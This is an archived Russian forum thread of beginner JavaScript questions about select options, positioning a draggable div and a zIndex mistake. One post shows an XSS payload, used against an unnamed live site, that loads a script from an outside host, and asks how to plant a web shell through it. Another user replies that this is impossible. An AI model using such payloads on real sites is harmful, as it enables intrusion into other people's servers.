Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по Java.. (для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> RE: Вопросы по Java.. (для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по Java.. (для новичков) - 2008-09-10 17:21:12.723333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
<form name="myform">
<select name="myselect">
<option value="123">123</option>
</select>
</form>

js:
alert(document.forms['myform'].elements['myselect'].value);
Post #: 41
RE: Вопросы по Java.. (для новичков) - 2008-09-11 02:03:42.390000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
та нет. это ж не то.. мне ненадо получать значения селектов, мне надо чтоб в селект добавлялся новый пункт
короче сделал так
    function CreateOpt(value,text) {
    var optio = document.createElement(\'option\');
    optio.value = value;
    optio.text = text;
    return optio;
    }
function addfild(name) {
    var select = document.getElementById("attachment");
    select.options.add(CreateOpt(1, name));

далее вызываю addfild('.$_FILES['userfile']['name'].'); с помощью аякс запроса, но почемуто селект не меняется.. хотя если это делать просто с вебстранички то всё нормаьлно заполняется..
точнее у меня даже не аякс запрос а я отправляю в скрытый фрэйм пост запрос и через эчо получю ответ который собственно и принтит addfild('.$_FILES['userfile']['name'].');
но почемуто не добавляется ничё :(

Post #: 42
RE: Вопросы по Java.. (для новичков) - 2008-09-14 00:02:03.920000   
ido46od

Сообщений: 71
Оценки: 0
Присоединился: 2008-07-17 21:31:29.910000
есть один сайт с хсс, вот и хсс: "><script src=http://******/xss.js></script><input type=text value=fuck-you. теперь нужно чтобы xss.js загрузил на сервер шелл или в xss.js написать сам шелл и при открытие создался на серваке шелл. такое возможно. заранее спасибо.
Post #: 43
RE: Вопросы по Java.. (для новичков) - 2008-09-14 07:06:40.503333   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000

quote:

ORIGINAL: ido46od

есть один сайт с хсс, вот и хсс: "&gt;&lt;script src=http://******/xss.js&gt;&lt;/script&gt;&lt;input type=text value=fuck-you. теперь нужно чтобы xss.js загрузил на сервер шелл или в xss.js написать сам шелл и при открытие создался на серваке шелл. такое возможно?


нет
Post #: 44
RE: Вопросы по Java.. (для новичков) - 2008-09-16 21:51:18.316666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
есть динамически создаваемый элемент
вот код
&lt;input type="submit" value="Create" name="create" onclick="create_elem()" /&gt; &lt;input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()" /&gt; &lt;sсriрt language="Javasсriрt" type="text/javasсriрt"&gt; var moveState = false; var x0, y0; var divX0, divY0; function defPosition(event) { var x = y = 0; if (document.attachEvent != null) { // Internet Explorer &amp; Opera x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop; } if (!document.attachEvent &amp;&amp; document.addEventListener) { // Gecko x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } return {x:x, y:y}; } function initMove(div, event) { var event = event || window.event; x0 = defPosition(event).x; y0 = defPosition(event).y; divX0 = parseInt(div.style.left); divY0 = parseInt(div.style.top); moveState = true; } document.onmouseup = function() { moveState = false; } function moveHandler(div, event) { var event = event || window.event; if (moveState) { div.style.left = divX0 + defPosition(event).x - x0; div.style.top = divY0 + defPosition(event).y - y0; } } var vjtwindow; function create_elem() { var mdiv = document.getElementById("mdiv"); if (!vjtwindow) { vjtwindow=document.createElement("table"); vjtwindow.cellPadding = 0; vjtwindow.cellSpacing = 0; vjtwindow.id = "vij-table"; vjtwindow.name = "vij-table"; var newRow=vjtwindow.insertRow(0); var newCell = newRow.insertCell(0); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/&gt;"; var newCell = newRow.insertCell(1); newCell.id="vjt-table-top"; newCell.innerHTML=""; var newCell = newRow.insertCell(2); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/&gt;"; var newRow=vjtwindow.insertRow(1); var newCell = newRow.insertCell(0); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/&gt;"; var newCell = newRow.insertCell(1); newCell.id="vjt-table-bottom"; newCell.innerHTML=""; var newCell = newRow.insertCell(2); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/&gt;"; var newRow=vjtwindow.insertRow(1); var newCell = newRow.insertCell(0); newCell.id="vjt-table-left"; newCell.innerHTML=""; var newCell = newRow.insertCell(1); newCell.id="vjt-tab"; newCell.setAttribute("vlign","top"); newCell.innerHTML="&lt;b&gt;23&lt;/b&gt;"; var newCell = newRow.insertCell(2); newCell.id="vjt-table-right"; newCell.innerHTML=""; vjtwindow.position="absolute"; document.getElementById("mdiv").appendChild(vjtwindow); } } function destroy_elem(){ if (!vjtwindow) return; document.getElementById("mdiv").removeChild(vjtwindow); vjtwindow = null; } &lt;/sсriрt&gt; &lt;div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'&gt;&lt;/div&gt;при выполнении кода создаётся табличка и пихается в див, который расположен приблизительно по центру… всё бы хорошо если бы не так плохо… дело в том, что див статичен, и если на странице контент оч длинный, а кнопочка в самом низу, то при создании элемента он помещается в див, который находится за областью видимости юзера… как сделать так, чтоб окно создавалось всегда в центре?
может както можно див центрировать?
Post #: 45
RE: Вопросы по Java.. (для новичков) - 2008-09-16 22:05:31.633333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
какая кнопочка? В опере Create и Destroy нормально отображаются, правда в верхнем левом углу
Post #: 46
RE: Вопросы по Java.. (для новичков) - 2008-09-16 22:49:36.980000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
та оно всё работает.. просто добав тегов <br> в начале страницы ну примерно штук 30… ну так для теста, чтоб кнопки опустились намного ниже и появилась полоса прокрутки…так вот когда полосу опускаеш вниз, то див в абсолютных координатах уезжает вверх и при нажатии криэйт форма появляется не в центре а смещённо от него 
Post #: 47
RE: Вопросы по Java.. (для новичков) - 2008-09-16 23:16:35.206666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Может быть я чего-то не понимаю, просто не привык работать с неполными исходниками:

&lt;center&gt;&lt;input type="submit" value="Create" name="create" onclick="create_elem()" /&gt; &lt;/center&gt; &lt;center&gt;&lt;input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()"/&gt;&lt;/center&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;sсriрt language="Javasсriрt" type="text/javasсriрt"&gt; var moveState = false; var x0, y0; var divX0, divY0; function defPosition(event) { var x = y = 0; if (document.attachEvent != null) { // Internet Explorer & Opera x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop; } if (!document.attachEvent && document.addEventListener) { // Gecko x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } return {x:x, y:y}; } function initMove(div, event) { var event = event || window.event; x0 = defPosition(event).x; y0 = defPosition(event).y; divX0 = parseInt(div.style.left); divY0 = parseInt(div.style.top); moveState = true; } document.onmouseup = function() { moveState = false; } function moveHandler(div, event) { var event = event || window.event; if (moveState) { div.style.left = divX0 + defPosition(event).x - x0; div.style.top = divY0 + defPosition(event).y - y0; } } var vjtwindow; function create_elem() { var mdiv = document.getElementById("mdiv"); if (!vjtwindow) { vjtwindow=document.createElement("table"); vjtwindow.cellPadding = 0; vjtwindow.cellSpacing = 0; vjtwindow.id = "vij-table"; vjtwindow.name = "vij-table"; var newRow=vjtwindow.insertRow(0); var newCell = newRow.insertCell(0); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/&gt;"; var newCell = newRow.insertCell(1); newCell.id="vjt-table-top"; newCell.innerHTML=""; var newCell = newRow.insertCell(2); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/&gt;"; var newRow=vjtwindow.insertRow(1); var newCell = newRow.insertCell(0); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/&gt;"; var newCell = newRow.insertCell(1); newCell.id="vjt-table-bottom"; newCell.innerHTML=""; var newCell = newRow.insertCell(2); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/&gt;"; var newRow=vjtwindow.insertRow(1); var newCell = newRow.insertCell(0); newCell.id="vjt-table-left"; newCell.innerHTML=""; var newCell = newRow.insertCell(1); newCell.id="vjt-tab"; newCell.setAttribute("vlign","top"); newCell.innerHTML="&lt;b&gt;23&lt;/b&gt;"; var newCell = newRow.insertCell(2); newCell.id="vjt-table-right"; newCell.innerHTML=""; vjtwindow.position="absolute"; document.getElementById("mdiv").appendChild(vjtwindow); } } function destroy_elem(){ if (!vjtwindow) return; document.getElementById("mdiv").removeChild(vjtwindow); vjtwindow = null; } &lt;/sсriрt&gt; &lt;div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'&gt;&lt;/div&gt;
Post #: 48
RE: Вопросы по Java.. (для новичков) - 2008-09-16 23:40:02.733333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
а нет))) ты не понял.. наоборот всё)))))
вот так.. это полный исходник
&lt;br&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &nbsp;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt; &nbsp;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &nbsp; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;sсriрt language="Javasсriрt" type="text/javasсriрt"&gt; var moveState = false; var x0, y0; var divX0, divY0; function defPosition(event) { &nbsp;&nbsp; var x = y = 0; &nbsp;&nbsp; if (document.attachEvent != null) { // Internet Explorer &amp; Opera &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop; &nbsp;&nbsp; } &nbsp;&nbsp; if (!document.attachEvent &amp;&amp; document.addEventListener) { // Gecko &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x = event.clientX + window.scrollX; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y = event.clientY + window.scrollY; &nbsp;&nbsp; } &nbsp;&nbsp; return {x:x, y:y}; } function initMove(div, event) { &nbsp;&nbsp; var event = event || window.event; &nbsp;&nbsp; x0 = defPosition(event).x; &nbsp;&nbsp; y0 = defPosition(event).y; &nbsp;&nbsp; divX0 = parseInt(div.style.left); &nbsp;&nbsp; divY0 = parseInt(div.style.top); &nbsp;&nbsp; moveState = true; } document.onmouseup = function() { &nbsp;&nbsp; moveState = false; } function moveHandler(div, event) { &nbsp;&nbsp; var event = event || window.event; &nbsp;&nbsp; if (moveState) { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; div.style.left = divX0 + defPosition(event).x - x0; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; div.style.top&nbsp; = divY0 + defPosition(event).y - y0; &nbsp;&nbsp; } } var vjtwindow; function create_elem() { var mdiv = document.getElementById("mdiv"); &nbsp;&nbsp; if (!vjtwindow) { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vjtwindow=document.createElement("table"); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vjtwindow.cellPadding = 0; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vjtwindow.cellSpacing = 0; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vjtwindow.id = "vij-table"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vjtwindow.name = "vij-table"; &nbsp;&nbsp; var newRow=vjtwindow.insertRow(0); &nbsp;&nbsp; var newCell = newRow.insertCell(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vij-table-ie"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML="&lt;img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/&gt;"; &nbsp;&nbsp; var newCell = newRow.insertCell(1); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vjt-table-top"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML=""; &nbsp;&nbsp; var newCell = newRow.insertCell(2); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vij-table-ie"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML="&lt;img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/&gt;"; &nbsp;&nbsp; var newRow=vjtwindow.insertRow(1); &nbsp;&nbsp; var newCell = newRow.insertCell(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vij-table-ie"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML="&lt;img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/&gt;"; &nbsp;&nbsp; var newCell = newRow.insertCell(1); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vjt-table-bottom"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML=""; &nbsp;&nbsp; var newCell = newRow.insertCell(2); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vij-table-ie"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML="&lt;img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/&gt;"; &nbsp;&nbsp; var newRow=vjtwindow.insertRow(1); &nbsp;&nbsp; var newCell = newRow.insertCell(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vjt-table-left"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML=""; &nbsp;&nbsp; var newCell = newRow.insertCell(1); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vjt-tab"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.setAttribute("vlign","top"); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML="&lt;b&gt;23&lt;/b&gt;"; &nbsp;&nbsp; var newCell = newRow.insertCell(2); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.id="vjt-table-right"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newCell.innerHTML=""; &nbsp;&nbsp; vjtwindow.position="absolute"; &nbsp;&nbsp; document.getElementById("mdiv").appendChild(vjtwindow); &nbsp;&nbsp; } } function destroy_elem(){ &nbsp;&nbsp; if (!vjtwindow) return; &nbsp;&nbsp; document.getElementById("mdiv").removeChild(vjtwindow); &nbsp;&nbsp; vjtwindow = null; } &lt;/sсriрt&gt; &lt;center&gt;&lt;input type="submit" value="Create" name="create" onclick="create_elem()" /&gt; &lt;/center&gt; &nbsp;&lt;center&gt;&lt;input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()"/&gt;&lt;/center&gt; &lt;div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'&gt;&lt;/div&gt;
Post #: 49
RE: Вопросы по Java.. (для новичков) - 2008-09-16 23:56:49.363333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Если скажешь, что это неправильно, можешь….можешь, если сможешь)

&lt;sсriрt language="Javasсriрt" type="text/javasсriрt"&gt; var moveState = false; var x0, y0; var divX0, divY0; function defPosition(event) { var x = y = 0; if (document.attachEvent != null) { // Internet Explorer & Opera x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft; y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop; } if (!document.attachEvent && document.addEventListener) { // Gecko x = event.clientX + window.scrollX; y = event.clientY + window.scrollY; } return {x:x, y:y}; } function initMove(div, event) { var event = event || window.event; x0 = defPosition(event).x; y0 = defPosition(event).y; divX0 = parseInt(div.style.left); divY0 = parseInt(div.style.top); moveState = true; } document.onmouseup = function() { moveState = false; } function moveHandler(div, event) { var event = event || window.event; if (moveState) { div.style.left = divX0 + defPosition(event).x - x0; div.style.top = divY0 + defPosition(event).y - y0; } } var vjtwindow; function create_elem() { var mdiv = document.getElementById("mdiv"); if (!vjtwindow) { vjtwindow=document.createElement("table"); vjtwindow.cellPadding = 0; vjtwindow.cellSpacing = 0; vjtwindow.id = "vij-table"; vjtwindow.name = "vij-table"; var newRow=vjtwindow.insertRow(0); var newCell = newRow.insertCell(0); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/&gt;"; var newCell = newRow.insertCell(1); newCell.id="vjt-table-top"; newCell.innerHTML=""; var newCell = newRow.insertCell(2); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/&gt;"; var newRow=vjtwindow.insertRow(1); var newCell = newRow.insertCell(0); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/&gt;"; var newCell = newRow.insertCell(1); newCell.id="vjt-table-bottom"; newCell.innerHTML=""; var newCell = newRow.insertCell(2); newCell.id="vij-table-ie"; newCell.innerHTML="&lt;img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/&gt;"; var newRow=vjtwindow.insertRow(1); var newCell = newRow.insertCell(0); newCell.id="vjt-table-left"; newCell.innerHTML=""; var newCell = newRow.insertCell(1); newCell.id="vjt-tab"; newCell.setAttribute("vlign","top"); newCell.innerHTML="&lt;b&gt;23&lt;/b&gt;"; var newCell = newRow.insertCell(2); newCell.id="vjt-table-right"; newCell.innerHTML=""; vjtwindow.position="absolute"; document.getElementById("mdiv").appendChild(vjtwindow); } } function destroy_elem(){ if (!vjtwindow) return; document.getElementById("mdiv").removeChild(vjtwindow); vjtwindow = null; } &lt;/sсriрt&gt; &lt;center&gt;&lt;input type="submit" value="Create" name="create" onclick="create_elem()" /&gt; &lt;/center&gt; &lt;center&gt;&lt;input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()"/&gt;&lt;/center&gt; &lt;div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'&gt;&lt;/div&gt; &lt;br&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;
Post #: 50
RE: Вопросы по Java.. (для новичков) - 2008-09-17 00:29:13.033333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
блин.. ты непонял смысл всего этого.. я не спорю что так можно, но дело в том, что это будет как бы виджет для блога, в который будут подгружаться сообщения, кнопка для его создания прикрепленна к каждой статье и посылает идшник в форму… тэги бр я привёл как бы для примера..
чтоб показать суть проблеммы..
а теперь вернёмся к исходному вопросу.. как центрировть на страничке див.. при чём так, чтоб при скролинге странички он не двигался
Post #: 51
RE: Вопросы по Java.. (для новичков) - 2008-09-17 14:20:33.430000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Ну в таком случае наверное таки проще сделать popup формочку с этими кнопками на ней и двигайть её вслед за текстом (ну как назойливая реклама)
Post #: 52
RE: Вопросы по Java.. (для новичков) - 2008-09-17 20:39:29.633333   
kreol

Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
Вопрос по свойству zIndex:
function addContent(id) { &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;target = document.getElementById(id); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv = document.createElement('div'); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.style.left = 100; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.style.top = 100; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.style.width = 100; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.style.height = 100; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.style.background = 'yellow'; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.style.position = 'absolute'; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.zIndex = 5;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; // !!!!!!!!! &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;lowerDiv.ondblclick = function() { &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;alert("this is a lower div"); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;target.appendChild(lowerDiv); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv = document.createElement('div'); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.style.left = 120; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.style.top = 120; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.style.width = 100; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.style.height = 100; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.style.background = 'blue'; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.style.position = 'absolute'; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.zIndex = 3;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // !!!!!!!!! &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;higherDiv.ondblclick = function() { &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;alert("this is a higher div"); &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; } &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;target.appendChild(higherDiv); &nbsp;&nbsp; &nbsp;}
У первого (жёлтого) дива zIndex больше, значит он должен показываться сверху и принимать щелчки мыши. Но сверху почему-то лежит второй (синий). Почему?
Post #: 53
RE: Вопросы по Java.. (для новичков) - 2008-09-17 21:51:10.426666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
quote:

ORIGINAL: Pashkela

Ну в таком случае наверное таки проще сделать popup формочку с этими кнопками на ней и двигайть её вслед за текстом (ну как назойливая реклама)
ну и как тогда попапом его создать?
Post #: 54
RE: Вопросы по Java.. (для новичков) - 2008-09-17 23:35:51.733333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
2 magistr_bender:

Посмотри иходник любого порно или варезного сайта
Post #: 55
RE: Вопросы по Java.. (для новичков) - 2008-09-18 05:50:51.540000   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000

quote:

ORIGINAL: kreol

Вопрос по свойству zIndex:
function addContent(id) {        target = document.getElementById(id);        lowerDiv = document.createElement('div');        lowerDiv.style.left = 100;        lowerDiv.style.top = 100;        lowerDiv.style.width = 100;        lowerDiv.style.height = 100;        lowerDiv.style.background = 'yellow';        lowerDiv.style.position = 'absolute';        lowerDiv.zIndex = 5;                             // !!!!!!!!!        lowerDiv.ondblclick = function() {                    alert("this is a lower div");                    }        target.appendChild(lowerDiv);        higherDiv = document.createElement('div');        higherDiv.style.left = 120;        higherDiv.style.top = 120;        higherDiv.style.width = 100;        higherDiv.style.height = 100;        higherDiv.style.background = 'blue';        higherDiv.style.position = 'absolute';        higherDiv.zIndex = 3;                          // !!!!!!!!!        higherDiv.ondblclick = function() {                    alert("this is a higher div");                    }        target.appendChild(higherDiv);    }
У первого (жёлтого) дива zIndex больше, значит он должен показываться сверху и принимать щелчки мыши. Но сверху почему-то лежит второй (синий). Почему?


higherDiv.style.zIndex = 3;


тупимс?;)
Post #: 56
RE: Вопросы по Java.. (для новичков) - 2008-09-18 06:06:25.060000   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
2bender

как я понял те нужно чето типа такого, как у нас (Задать вопрос продавцу, отредактировать и др.)
http://auto.japancar.ru/jc/view/auto/A1226677.html


